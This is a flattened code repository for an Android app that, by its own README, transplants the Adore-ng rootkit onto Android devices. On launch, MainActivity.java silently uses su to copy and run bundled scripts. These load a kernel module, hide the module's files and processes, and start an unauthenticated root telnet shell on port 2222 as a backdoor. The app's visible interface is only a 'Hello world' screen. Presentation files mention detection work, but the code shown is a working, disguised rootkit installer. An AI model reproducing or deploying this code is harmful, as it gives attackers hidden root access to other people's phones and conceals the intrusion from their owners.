├── .classpath ├── .gitattributes ├── .gitignore ├── .project ├── .settings └── org.eclipse.jdt.core.prefs ├── AndroidManifest.xml ├── README.md ├── assets ├── adore-ng.ko ├── ava ├── script1 └── script2 ├── bin ├── AndroidManifest.xml ├── classes │ └── com │ │ └── example │ │ └── adore │ │ ├── BuildConfig.class │ │ ├── MainActivity$myThread.class │ │ ├── MainActivity.class │ │ ├── R$attr.class │ │ ├── R$drawable.class │ │ ├── R$id.class │ │ ├── R$layout.class │ │ ├── R$menu.class │ │ ├── R$string.class │ │ ├── R$style.class │ │ └── R.class └── jarlist.cache ├── gen └── com │ └── example │ └── adore │ ├── BuildConfig.java │ └── R.java ├── ic_launcher-web.png ├── libs └── android-support-v4.jar ├── presentation ├── Adore-ng - Part2.pptx ├── Adore-ng Rootkit Transplant and Detection Tool Development.doc └── Adore-ng.pptx ├── proguard-project.txt ├── project.properties ├── res ├── drawable-hdpi │ └── ic_launcher.png ├── drawable-ldpi │ └── ic_launcher.png ├── drawable-mdpi │ └── ic_launcher.png ├── drawable-xhdpi │ └── ic_launcher.png ├── layout │ └── activity_main.xml ├── menu │ └── activity_main.xml ├── values-v11 │ └── styles.xml ├── values-v14 │ └── styles.xml └── values │ ├── strings.xml │ └── styles.xml └── src └── com └── example └── adore └── MainActivity.java /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # ========================= 18 | # Operating System Files 19 | # ========================= 20 | 21 | # OSX 22 | # ========================= 23 | 24 | .DS_Store 25 | .AppleDouble 26 | .LSOverride 27 | 28 | # Icon must ends with two \r. 29 | Icon 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear on external disk 35 | .Spotlight-V100 36 | .Trashes 37 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | adore 4 | 5 | 6 | 7 | 8 | 9 | com.android.ide.eclipse.adt.ResourceManagerBuilder 10 | 11 | 12 | 13 | 14 | com.android.ide.eclipse.adt.PreCompilerBuilder 15 | 16 | 17 | 18 | 19 | org.eclipse.jdt.core.javabuilder 20 | 21 | 22 | 23 | 24 | com.android.ide.eclipse.adt.ApkBuilder 25 | 26 | 27 | 28 | 29 | 30 | com.android.ide.eclipse.adt.AndroidNature 31 | org.eclipse.jdt.core.javanature 32 | 33 | 34 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 3 | org.eclipse.jdt.core.compiler.compliance=1.6 4 | org.eclipse.jdt.core.compiler.source=1.6 5 | -------------------------------------------------------------------------------- /AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 21 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | AdoreForAndroid 2 | =============== 3 | 4 | Transplant adore rootkit for Android platform. 5 | In this project, I transplant Adore-ng rootkit to Android platform. After installing this app on your phone, Adore will 6 | be installed into your system as a kernel module, and hooks system calls. 7 | By using Adore, this app can open ports on your device as backdoor, and also hide any files and ports from users. 8 | For more details you can refer to the presentation folder. 9 | 10 | -------------------------------------------------------------------------------- /assets/adore-ng.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/assets/adore-ng.ko -------------------------------------------------------------------------------- /assets/ava: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/assets/ava -------------------------------------------------------------------------------- /assets/script1: -------------------------------------------------------------------------------- 1 | #! /system/bin/sh 2 | 3 | touch adore-ng.ko 4 | touch ava 5 | touch script2 6 | chmod 777 adore-ng.ko 7 | chmod 777 ava 8 | chmod 777 script2 9 | -------------------------------------------------------------------------------- /assets/script2: -------------------------------------------------------------------------------- 1 | #! /system/bin/sh 2 | 3 | insmod adore-ng.ko 4 | ./ava h adore-ng.ko 5 | ./ava h ava 6 | ./ava h script1 7 | ./ava h script2 8 | busybox telnetd -l /system/bin/sh -p 2222 9 | var=`busybox ps | grep -m 1 telnet | cut -f2 -d " "` 10 | ./ava i $var 11 | -------------------------------------------------------------------------------- /bin/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 21 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /bin/classes/com/example/adore/BuildConfig.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/BuildConfig.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/MainActivity$myThread.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/MainActivity$myThread.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/MainActivity.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/MainActivity.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/R$attr.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/R$attr.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/R$drawable.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/R$drawable.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/R$id.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/R$id.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/R$layout.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/R$layout.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/R$menu.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/R$menu.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/R$string.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/R$string.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/R$style.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/R$style.class -------------------------------------------------------------------------------- /bin/classes/com/example/adore/R.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/bin/classes/com/example/adore/R.class -------------------------------------------------------------------------------- /bin/jarlist.cache: -------------------------------------------------------------------------------- 1 | # cache for current jar dependecy. DO NOT EDIT. 2 | # format is 3 | # Encoding is UTF-8 4 | -------------------------------------------------------------------------------- /gen/com/example/adore/BuildConfig.java: -------------------------------------------------------------------------------- 1 | /** Automatically generated file. DO NOT MODIFY */ 2 | package com.example.adore; 3 | 4 | public final class BuildConfig { 5 | public final static boolean DEBUG = true; 6 | } -------------------------------------------------------------------------------- /gen/com/example/adore/R.java: -------------------------------------------------------------------------------- 1 | /* AUTO-GENERATED FILE. DO NOT MODIFY. 2 | * 3 | * This class was automatically generated by the 4 | * aapt tool from the resource data it found. It 5 | * should not be modified by hand. 6 | */ 7 | 8 | package com.example.adore; 9 | 10 | public final class R { 11 | public static final class attr { 12 | } 13 | public static final class drawable { 14 | public static final int ic_launcher=0x7f020000; 15 | } 16 | public static final class id { 17 | public static final int menu_settings=0x7f070000; 18 | } 19 | public static final class layout { 20 | public static final int activity_main=0x7f030000; 21 | } 22 | public static final class menu { 23 | public static final int activity_main=0x7f060000; 24 | } 25 | public static final class string { 26 | public static final int app_name=0x7f040000; 27 | public static final int hello_world=0x7f040001; 28 | public static final int menu_settings=0x7f040002; 29 | } 30 | public static final class style { 31 | /** 32 | Base application theme, dependent on API level. This theme is replaced 33 | by AppBaseTheme from res/values-vXX/styles.xml on newer devices. 34 | 35 | 36 | Theme customizations available in newer API levels can go in 37 | res/values-vXX/styles.xml, while customizations related to 38 | backward-compatibility can go here. 39 | 40 | 41 | Base application theme for API 11+. This theme completely replaces 42 | AppBaseTheme from res/values/styles.xml on API 11+ devices. 43 | 44 | API 11 theme customizations can go here. 45 | 46 | Base application theme for API 14+. This theme completely replaces 47 | AppBaseTheme from BOTH res/values/styles.xml and 48 | res/values-v11/styles.xml on API 14+ devices. 49 | 50 | API 14 theme customizations can go here. 51 | */ 52 | public static final int AppBaseTheme=0x7f050000; 53 | /** Application theme. 54 | All customizations that are NOT specific to a particular API-level can go here. 55 | */ 56 | public static final int AppTheme=0x7f050001; 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /ic_launcher-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/ic_launcher-web.png -------------------------------------------------------------------------------- /libs/android-support-v4.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/libs/android-support-v4.jar -------------------------------------------------------------------------------- /presentation/Adore-ng - Part2.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/presentation/Adore-ng - Part2.pptx -------------------------------------------------------------------------------- /presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/presentation/Adore-ng Rootkit Transplant and Detection Tool Development.doc -------------------------------------------------------------------------------- /presentation/Adore-ng.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/presentation/Adore-ng.pptx -------------------------------------------------------------------------------- /proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | -------------------------------------------------------------------------------- /project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | target=android-16 15 | -------------------------------------------------------------------------------- /res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-ldpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/res/drawable-ldpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/juxing/AdoreForAndroid/8f35b568279c251fe81c1d3aba85e7918b37325c/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 6 | 7 | 13 | 14 | -------------------------------------------------------------------------------- /res/menu/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 9 | -------------------------------------------------------------------------------- /res/values-v11/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 10 | 11 | -------------------------------------------------------------------------------- /res/values-v14/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 11 | 12 | -------------------------------------------------------------------------------- /res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | adore 5 | Hello world! 6 | Settings 7 | 8 | -------------------------------------------------------------------------------- /res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 14 | 15 | 16 | 19 | 20 | -------------------------------------------------------------------------------- /src/com/example/adore/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.adore; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.io.FileNotFoundException; 6 | import java.io.FileOutputStream; 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | import java.io.InputStreamReader; 10 | import java.io.OutputStream; 11 | import java.io.Reader; 12 | 13 | import android.app.Activity; 14 | import android.os.Bundle; 15 | import android.util.Log; 16 | import android.view.Menu; 17 | 18 | public class MainActivity extends Activity { 19 | private void copyBigDataBase1() { 20 | InputStream myInput = null; 21 | OutputStream myOutput = null; 22 | String script1 = "script1"; 23 | String outFileName = "/script1"; 24 | 25 | //Transfer script1 26 | try { 27 | myOutput = new FileOutputStream(outFileName); 28 | } catch (FileNotFoundException e) { 29 | // TODO Auto-generated catch block 30 | e.printStackTrace(); 31 | } 32 | Log.i("TAG", "After open dest script1 file"); 33 | 34 | try { 35 | myInput = this.getAssets().open(script1); 36 | } catch (IOException e) { 37 | // TODO Auto-generated catch block 38 | e.printStackTrace(); 39 | } 40 | Log.i("TAG", "After open script1 file in assets"); 41 | 42 | byte[] buffer = new byte[1024]; 43 | int length; 44 | 45 | try { 46 | while ((length = myInput.read(buffer)) > 0) { 47 | myOutput.write(buffer, 0, length); 48 | } 49 | } catch (IOException e) { 50 | // TODO Auto-generated catch block 51 | e.printStackTrace(); 52 | } 53 | Log.i("TAG", "After transfer script1 file"); 54 | 55 | try { 56 | myOutput.flush(); 57 | } catch (IOException e) { 58 | // TODO Auto-generated catch block 59 | e.printStackTrace(); 60 | } 61 | 62 | try { 63 | myOutput.close(); 64 | } catch (IOException e) { 65 | // TODO Auto-generated catch block 66 | e.printStackTrace(); 67 | } 68 | 69 | try { 70 | myInput.close(); 71 | } catch (IOException e) { 72 | // TODO Auto-generated catch block 73 | e.printStackTrace(); 74 | } 75 | } 76 | 77 | private void copyBigDataBase2() { 78 | InputStream myInput = null; 79 | OutputStream myOutput = null; 80 | String kernelModu = "adore-ng.ko"; 81 | String ava = "ava"; 82 | String script2 = "script2"; 83 | String outFileName1 = "/adore-ng.ko"; 84 | String outFileName2 = "/ava"; 85 | String outFileName3 = "/script2"; 86 | 87 | //Transfer adore-ng.ko 88 | try { 89 | myOutput = new FileOutputStream(outFileName1); 90 | } catch (FileNotFoundException e) { 91 | // TODO Auto-generated catch block 92 | e.printStackTrace(); 93 | } 94 | Log.i("TAG", "After open dest adore.ko file"); 95 | 96 | try { 97 | myInput = this.getAssets().open(kernelModu); 98 | } catch (IOException e) { 99 | // TODO Auto-generated catch block 100 | e.printStackTrace(); 101 | } 102 | Log.i("TAG", "After open adore.ko file in assets"); 103 | 104 | byte[] buffer1 = new byte[1024]; 105 | int length1; 106 | 107 | try { 108 | while ((length1 = myInput.read(buffer1)) > 0) { 109 | myOutput.write(buffer1, 0, length1); 110 | } 111 | } catch (IOException e) { 112 | // TODO Auto-generated catch block 113 | e.printStackTrace(); 114 | } 115 | Log.i("TAG", "After transfer adore.ko file"); 116 | 117 | try { 118 | myOutput.flush(); 119 | } catch (IOException e) { 120 | // TODO Auto-generated catch block 121 | e.printStackTrace(); 122 | } 123 | 124 | try { 125 | myOutput.close(); 126 | } catch (IOException e) { 127 | // TODO Auto-generated catch block 128 | e.printStackTrace(); 129 | } 130 | 131 | try { 132 | myInput.close(); 133 | } catch (IOException e) { 134 | // TODO Auto-generated catch block 135 | e.printStackTrace(); 136 | } 137 | 138 | //Transfer ava file 139 | try { 140 | myOutput = new FileOutputStream(outFileName2); 141 | } catch (FileNotFoundException e) { 142 | // TODO Auto-generated catch block 143 | e.printStackTrace(); 144 | } 145 | Log.i("TAG", "After open dest ava file"); 146 | 147 | try { 148 | myInput = this.getAssets().open(ava); 149 | } catch (IOException e) { 150 | // TODO Auto-generated catch block 151 | e.printStackTrace(); 152 | } 153 | Log.i("TAG", "After open ava file in assets"); 154 | 155 | byte[] buffer2 = new byte[1024]; 156 | int length2; 157 | 158 | try { 159 | while ((length2 = myInput.read(buffer2)) > 0) { 160 | myOutput.write(buffer2, 0, length2); 161 | } 162 | } catch (IOException e) { 163 | // TODO Auto-generated catch block 164 | e.printStackTrace(); 165 | } 166 | Log.i("TAG", "After transfer ava file"); 167 | 168 | try { 169 | myOutput.flush(); 170 | } catch (IOException e) { 171 | // TODO Auto-generated catch block 172 | e.printStackTrace(); 173 | } 174 | 175 | try { 176 | myOutput.close(); 177 | } catch (IOException e) { 178 | // TODO Auto-generated catch block 179 | e.printStackTrace(); 180 | } 181 | 182 | try { 183 | myInput.close(); 184 | } catch (IOException e) { 185 | // TODO Auto-generated catch block 186 | e.printStackTrace(); 187 | } 188 | 189 | //Transfer script2 file 190 | try { 191 | myOutput = new FileOutputStream(outFileName3); 192 | } catch (FileNotFoundException e) { 193 | // TODO Auto-generated catch block 194 | e.printStackTrace(); 195 | } 196 | Log.i("TAG", "After open dest script2 file"); 197 | 198 | try { 199 | myInput = this.getAssets().open(script2); 200 | } catch (IOException e) { 201 | // TODO Auto-generated catch block 202 | e.printStackTrace(); 203 | } 204 | Log.i("TAG", "After open script2 file in assets"); 205 | 206 | byte[] buffer3 = new byte[1024]; 207 | int length3; 208 | 209 | try { 210 | while ((length3 = myInput.read(buffer3)) > 0) { 211 | myOutput.write(buffer3, 0, length3); 212 | } 213 | } catch (IOException e) { 214 | // TODO Auto-generated catch block 215 | e.printStackTrace(); 216 | } 217 | Log.i("TAG", "After transfer script2 file"); 218 | 219 | try { 220 | myOutput.flush(); 221 | } catch (IOException e) { 222 | // TODO Auto-generated catch block 223 | e.printStackTrace(); 224 | } 225 | 226 | try { 227 | myOutput.close(); 228 | } catch (IOException e) { 229 | // TODO Auto-generated catch block 230 | e.printStackTrace(); 231 | } 232 | 233 | try { 234 | myInput.close(); 235 | } catch (IOException e) { 236 | // TODO Auto-generated catch block 237 | e.printStackTrace(); 238 | } 239 | } 240 | 241 | class myThread extends Thread { 242 | public void run() { 243 | String cmd1[] = {"su", "-c", "touch script1"}; 244 | try { 245 | Runtime.getRuntime().exec(cmd1); 246 | } catch (IOException e1) { 247 | // TODO Auto-generated catch block 248 | e1.printStackTrace(); 249 | } 250 | Log.i("TAG", "After touch script1"); 251 | try { 252 | Thread.currentThread().sleep(5000); 253 | } catch (InterruptedException e) { 254 | // TODO Auto-generated catch block 255 | e.printStackTrace(); 256 | } 257 | 258 | 259 | String cmd2[] = {"su", "-c", "chmod 777 script1"}; 260 | try { 261 | Runtime.getRuntime().exec(cmd2); 262 | } catch (IOException e1) { 263 | // TODO Auto-generated catch block 264 | e1.printStackTrace(); 265 | } 266 | Log.i("TAG", "After chmod script1"); 267 | try { 268 | Thread.currentThread().sleep(5000); 269 | } catch (InterruptedException e) { 270 | // TODO Auto-generated catch block 271 | e.printStackTrace(); 272 | } 273 | 274 | 275 | copyBigDataBase1(); 276 | Log.i("TAG", "After copy script1"); 277 | 278 | 279 | String cmd3[] = {"su", "-c", "./script1"}; 280 | try { 281 | Runtime.getRuntime().exec(cmd3); 282 | } catch (IOException e1) { 283 | // TODO Auto-generated catch block 284 | e1.printStackTrace(); 285 | } 286 | Log.i("TAG", "After exec script1"); 287 | try { 288 | Thread.currentThread().sleep(5000); 289 | } catch (InterruptedException e) { 290 | // TODO Auto-generated catch block 291 | e.printStackTrace(); 292 | } 293 | 294 | 295 | copyBigDataBase2(); 296 | Log.i("TAG", "After copy adore-ng.ko ava script2"); 297 | 298 | 299 | String cmd7[] = {"su", "-c", "./script2"}; 300 | try { 301 | Runtime.getRuntime().exec(cmd7); 302 | } catch (IOException e1) { 303 | // TODO Auto-generated catch block 304 | e1.printStackTrace(); 305 | } 306 | Log.i("TAG", "After execute script2"); 307 | } 308 | } 309 | 310 | @Override 311 | protected void onCreate(Bundle savedInstanceState) { 312 | super.onCreate(savedInstanceState); 313 | setContentView(R.layout.activity_main); 314 | 315 | myThread tt = new myThread(); 316 | tt.start(); 317 | } 318 | 319 | @Override 320 | public boolean onCreateOptionsMenu(Menu menu) { 321 | // Inflate the menu; this adds items to the action bar if it is present. 322 | getMenuInflater().inflate(R.menu.activity_main, menu); 323 | return true; 324 | } 325 | } 326 | --------------------------------------------------------------------------------